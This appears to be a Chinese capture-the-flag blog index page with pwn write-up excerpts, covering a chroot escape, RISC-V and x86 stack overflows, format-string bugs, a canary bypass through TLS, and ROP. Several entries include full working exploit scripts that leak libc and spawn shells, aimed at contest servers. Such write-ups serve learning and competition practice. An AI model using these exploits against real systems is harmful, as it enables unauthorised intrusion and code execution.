快来和我贴贴qaq
post @ 2024-08-31

题目附件https://github.com/nyyyddddn/ctf/tree/main/srcrf_pwn

chroot escape

啊这,咱没有想到解出来的人很少,因为chroot escape相关的文章网上有很多,这里挑重点说一下,更详细的信息可以看这里

https://web.archive.org/web/20160127150916/http://www.bpfh.net/simes/computing/chroot-break.html

chroot本质上是通过chroot系统调用去更改进程的根目录位置,以限制该进程对系统其他部分的访问。然而,在具有root权限的情况下,可以通过chdir和chroot实现二次逃逸。具体做法是,通过chdir系统调用将当前目录更改成跟目录,然后使用chroot将根目录重新设置为当前工作目录。从而恢复对整个文件系统的访问。

exp

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
    mkdir("sub-dir", 0755);
    chroot("sub-dir");
    for(int i = 0; i < 10; i++) {
    chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

需要静态链接或者是内联汇编,因为容器里没有装动态链接库

如何上传文件??可以先将数据编码,然后通过终端将编码的数据传上去后再解码

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import base64
import sys
import os


context(os='linux', arch='amd64')
context.log_level = 'debug'

is_debug = 0
IP = "110.40.35.62"
PORT = 32794

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def read_file(filename):
    with open(filename, 'r') as file:
        return file.read()
p = connect()

cmd = '$ '

os.system('base64 exp > exp.b64')
sl('cat <<EOF > exp.b64')
sl(read_file('exp.b64'))
sl('EOF')
sl('base64 -d exp.b64 > exp')
sl('chmod +x ./exp')



p.interactive()
Read More
post @ 2024-08-31

题目附件https://github.com/nyyyddddn/ctf/tree/main/xyctf_pwn

前段时间好忙,最近这几天才抽出时间整理下东西,xyctf是今年四月份开的,当时是第一次出题,想给入门pwn一段时间的师傅分享些简单又可以开阔一下思路的pwn题

hello_world(签到)

在glibc 2.31以后 csu fini csu init都变成了动态链接,大多数好用的修改寄存器的gadget(如pop rdi ret,pop rsi ret)都是从csu init中错位字节获取的,在能泄露libc的情况下,可以转换一下思路,从libc中拿gadget

程序逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

程序有两次输入的机会,第一次输入通过%s去泄露一个libc相关的地址,然后计算出libc_base,然后用libc中的gadget打rop就行了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "xyctf.top"
PORT = 36241

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b'a' * 0x28

time.sleep(0.3)
# g(p)
s(payload)

ru(b'a' * 0x28)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7f662d429d90 - 0x7f662d400000)
success(f"libc_base ->{hex(libc_base)}")
pop_rdi_ret = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x0000000000029139

payload = b'b' * 0x28 
payload += p64(pop_rdi_ret) + p64(binsh) +  p64(ret)+ p64(system)

time.sleep(0.3)
# g(p)
s(payload)

p.interactive()

Intermittent

Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2023

risky_login

一道riscv64 小端序 栈溢出 ret2text的题目,最新的ida 9.0可以反编译riscv架构的程序,就不需要用难用的ghidra去分析了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[288]; // [sp+0h] [-120h] BYREF

  init_io();
  puts("RiskY LoG1N SySTem");
  puts("Input ur name:");
  read(0, command, 8uLL);
  printf("Hello, %s", command);
  puts("Input ur words");
  read(0, v4, 0x120uLL);
  my_input(v4);
  puts("message received");
  return 0;
}

char *__fastcall my_input(const char *a1)
{
  char v3[248]; // [sp+18h] [-108h] BYREF

  byte_12347070 = strlen(a1);
  if ( (unsigned __int8)byte_12347070 > 8uLL )
  {
    puts("too long.");
    exit(-1);
  }
  return strcpy(v3, a1);
}

__int64 backdoor()
{
  puts("background debug fun.");
  puts("input what you want exec");
  read(0, command, 8uLL);
  if ( strstr(command, "sh") || strstr(command, "flag") )
  {
    puts("no.");
    exit(-1);
  }
  return system(command);
}

https://ta0lve.github.io/posts/pwn/risc-v/0x01/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%AD%A6%E4%B9%A0

在my input这里存在一个栈溢出,因为strlen只检查低一个字节的数据,那该溢出多少?通过阅读文档可以发现这个ret相当于jmp ra的作用,然后sd ra, 110h+var_s8(sp) 这个是存储返回地址,所以返回地址在栈底 - 0x8的位置,然后strcpy地址距离栈底 0x108,偏移0x100就刚刚好到返回地址那了

.text:0000000012345786 my_input:                               # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_108         = -108h
.text:0000000012345786 var_F8          = -0F8h
.text:0000000012345786 var_s0          =  0
.text:0000000012345786 var_s8          =  8
.text:0000000012345786 arg_0           =  10h
.text:0000000012345786
.text:0000000012345786                 addi            sp, sp, -120h
.text:0000000012345788                 sd              ra, 110h+var_s8(sp)
.text:000000001234578A                 sd              s0, 110h+var_s0(sp)
.text:000000001234578C                 addi            s0, sp, 110h+arg_0
.text:000000001234578E                 sd              a0, -10h+var_108(s0)
.text:0000000012345792                 ld              a0, -10h+var_108(s0)
.text:0000000012345796                 call            strlen
.text:000000001234579E                 mv              a5, a0
.text:00000000123457A0                 andi            a4, a5, 0FFh
.text:00000000123457A4                 sb              a4, byte_12347070
.text:00000000123457A8                 lbu             a5, byte_12347070
.text:00000000123457AC                 mv              a4, a5
.text:00000000123457AE                 li              a5, 8
.text:00000000123457B0                 bgeu            a5, a4, loc_123457CE
.text:00000000123457B4                 lui             a5, %hi(aTooLong) # "too long."
.text:00000000123457B8                 addi            a0, a5, %lo(aTooLong) # "too long."
.text:00000000123457BC                 call            puts
.text:00000000123457C4                 li              a0, -1
.text:00000000123457C6                 call            exit
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE:                           # CODE XREF: my_input+2A↑j
.text:00000000123457CE                 addi            a5, s0, -10h+var_F8
.text:00000000123457D2                 ld              a1, -10h+var_108(s0)
.text:00000000123457D6                 mv              a0, a5
.text:00000000123457D8                 call            strcpy
.text:00000000123457E0                 nop
.text:00000000123457E2                 ld              ra, 110h+var_s8(sp)
.text:00000000123457E4                 ld              s0, 110h+var_s0(sp)
.text:00000000123457E6                 addi            sp, sp, 120h
.text:00000000123457E8                 ret

覆盖返回地址为backdoor,然后cat fl* 就能把flag读出来了

那riscv的程序如何调试呢?? qemu 有一个 -g的参数可以通过gdb-multiarch remote连上去打断点调试,在process开程序的时候加这个-g的参数就可以通过gdb连上去调试了

debug.sh

Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E5%A5%87%E5%A5%87%E6%80%AA%E6%80%AA%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%A9%E7%94%A81

非栈上格式化字符串套orw

hznuctf_ezpwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sand_box(argc, argv, envp);
  rand_time();
  vuln();
  return 0;
}

void rand_time()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  printf("welcome to HZNUCTF !");
  printf("Please input your name: ");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  puts("I wonder if you're lucky enough");
  srand(seed);
  for ( i = 0; i <= 9; ++i )
  {
    printf("Let's guess the number: ");
    __isoc99_scanf("%d", &seed);
    if ( rand() != seed )
    {
      puts("Wrong.");
      puts("Guess you weren't lucky enough.");
      exit(-1);
    }
    puts("Right.");
  }
}

__int64 vuln()
{
  puts("WOW you really a lucky guy!");
  puts("Then I want to know if you are capable enough.");
  while ( 1 )
  {
    printf("Please tell us something: ");
    read(0, s1, 0x80uLL);
    if ( !strcmp(s1, "HZNUCTF") )
      break;
    printf(s1);
  }
  return 0LL;
}

非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
	payload=cdll.rand()
	sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read) 
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()

3个字节格式化字符串泄露libc

corctf_format-string

source.c

Read More
post @ 2024-08-08

题目附件https://github.com/nyyyddddn/ctf/tree/main/tfcctf2024

pwn

GUARD-THE-BYPASS

程序的逻辑如下 这里GUARD也就是指canary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+Ch] [rbp-14h] BYREF
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Welcome! Press 1 to start the chall.");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 1 )
  {
    puts("Bye!");
    exit(0);
  }
  len = get_len();
  pthread_create(&newthread, 0LL, game, 0LL);
  pthread_join(newthread, 0LL);
  return v7 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall game(void *a1)
{
  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(buf, 0, 32);
  getchar();
  read(0, buf, len);
  return v3 - __readfsqword(0x28u);
}

有canary 没有pie,修改寄存器的gadget也有

posix接口创建的线程 tls结构体离函数栈帧很近,可以覆盖tls中的canary去绕过canary然后打ret2libc,tls附近有一两个指针在程序执行的时候会往里面写数据,想到了一种很简单的方法,把game函数的canary和tls中的canary覆盖成指向bss的指针,直接一路写过去,就不需要管指针解引用段错误的问题了

vspm

程序的逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_1289(a1, a2, a3);
  puts("Welcome to the Very Secure Password Manager!");
  puts("--------------------------------------------\n");
  puts("1. Save new password");
  puts("2. Check my passwords");
  puts("3. Delete credentials");
  puts("4. Exit");
  while ( 1 )
  {
    v3 = 0;
    printf("Input: ");
    __isoc99_scanf("%d", &v3);
    getchar();
    if ( v3 <= 0 || v3 > 4 )
      break;
    switch ( v3 )
    {
      case 4:
        exit_();
      case 3:
        delete_password();
        break;
      case 1:
        save_password();
        break;
      default:
        show_password();
        break;
    }
  }
  puts("Not a valid choice :(");
  exit(0);
}

unsigned __int64 save_password()
{
  unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  __int64 v3; // [rsp+10h] [rbp-60h]
  __int64 v4; // [rsp+18h] [rbp-58h]
  __int64 v5; // [rsp+20h] [rbp-50h]
  __int64 v6; // [rsp+28h] [rbp-48h]
  __int64 v7; // [rsp+30h] [rbp-40h]
  __int64 v8; // [rsp+38h] [rbp-38h]
  __int64 v9; // [rsp+40h] [rbp-30h]
  __int64 v10; // [rsp+48h] [rbp-28h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
    ;
  if ( i == 10 )
  {
    puts("No more space to save passwords.");
    exit(0);
  }
  printf("\nSelect length: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  *((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
  printf("Enter credentials: ");
  read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
  printf("Name of the credentials: ");
  read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
  return __readfsqword(0x28u) ^ v13;
}

int show_password()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    v0 = *((_QWORD *)&unk_4060 + 5 * i);
    if ( v0 )
      LODWORD(v0) = printf(
                      "%d. %.*s --> %s",
                      (unsigned int)i,
                      32,
                      (const char *)&unk_4060 + 40 * i + 8,
                      *((const char **)&unk_4060 + 5 * i));
  }
  return v0;
}

unsigned __int64 delete_password()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("Select index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( !*((_QWORD *)&unk_4060 + 5 * v1) )
  {
    puts("You can't delete a non-existent password.");
    exit(0);
  }
  free(*((void **)&unk_4060 + 5 * v1));
  *((_QWORD *)&unk_4060 + 5 * v1) = 0LL;
  memset((char *)&unk_4060 + 40 * v1 + 8, 0, 0x20uLL);
  return __readfsqword(0x28u) ^ v2;
}
Read More
post @ 2024-08-01

pwn

imgstore

unsigned __int64 sell_book()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf("Enter book title: ");
    fgets(s, 50, stdin);
    printf("Book title --> ");
    printf(s);
    puts(&::s);
    if ( 334873123 * buf == dword_6050 )
    {
      dword_608C = 2;
      sub_1D77(2);
    }
    puts("Sorry, we already have the same title as yours in our database; give me another book title.");
    printf("Still interested in selling your book? [y/n]: ");
    __isoc99_scanf("%1c", &v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&::s);
  printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}

unsigned __int64 __fastcall sub_1D77(int a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sub_18F2();
  if ( a1 == 2 )
  {
    printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
    putchar(62);
    fgets(s, 160, stdin);
  }
  else
  {
    printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
    puts("[+] BAD HACKER!!");
  }
  return __readfsqword(0x28u) ^ v3;
}

程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./imgstore')
# libc = elf.libc
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


sla(">>","3")

# elf - canary - stack
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)

ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")


payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)

ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")

payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)

time.sleep(0.3)

rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)




p.interactive()

ropity

.text:0000000000401136                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136                               public main
.text:0000000000401136                               main proc near                          ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136                               s= byte ptr -8
.text:0000000000401136
.text:0000000000401136                               ; __unwind {
.text:0000000000401136 F3 0F 1E FA                   endbr64
.text:000000000040113A 55                            push    rbp
.text:000000000040113B 48 89 E5                      mov     rbp, rsp
.text:000000000040113E 48 83 EC 10                   sub     rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00          mov     rdx, cs:__bss_start             ; stream
.text:0000000000401149 48 8D 45 F8                   lea     rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00                mov     esi, 100h                       ; n
.text:0000000000401152 48 89 C7                      mov     rdi, rax                        ; s
.text:0000000000401155 E8 E6 FE FF FF                call    _fgets
.text:0000000000401155
.text:000000000040115A 90                            nop
.text:000000000040115B C9                            leave
.text:000000000040115C C3                            retn
.text:000000000040115C                               ; } // starts at 401136
.text:000000000040115C
.text:000000000040115C                               main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D                               ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D                               ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D                               ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D                               public printfile
.text:000000000040115D                               printfile proc near
.text:000000000040115D
.text:000000000040115D                               var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D                               ; __unwind {
.text:000000000040115D F3 0F 1E FA                   endbr64
.text:0000000000401161 55                            push    rbp
.text:0000000000401162 48 89 E5                      mov     rbp, rsp
.text:0000000000401165 48 89 7D F8                   mov     [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00          mov     rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00          mov     rsi, 0                          ; flags
.text:0000000000401177 0F 05                         syscall                                 ; LINUX - sys_open
.text:0000000000401179 48 89 C6                      mov     rsi, rax                        ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00          mov     rdi, 1                          ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00          mov     rdx, 0                          ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00          mov     r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00          mov     rax, 28h ; '('
.text:0000000000401198 0F 05                         syscall                                 ; LINUX - sys_sendfile
.text:000000000040119A 90                            nop
.text:000000000040119B 5D                            pop     rbp
.text:000000000040119C C3                            retn
.text:000000000040119C                               ; } // starts at 40115D
.text:000000000040119C
.text:000000000040119C                               printfile endp
.text:000000000040119C

真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有

lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret

Unique gadgets found: 65
Read More
post @ 2024-07-22

题目附件https://github.com/nyyyddddn/ctf/tree/main/dasctf2024_summer_challenge

pwn

spring_board

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  myinit(argc, argv, envp);
  puts("Life is not boring, dreams are not out of reach.");
  puts("Sometimes you just need a springboard.");
  puts("Then you can see a wider world.");
  puts("There may be setbacks along the way.");
  puts("But keep your love of life alive.");
  puts("I believe that you will succeed.");
  puts("Good luck.");
  putchar(10);
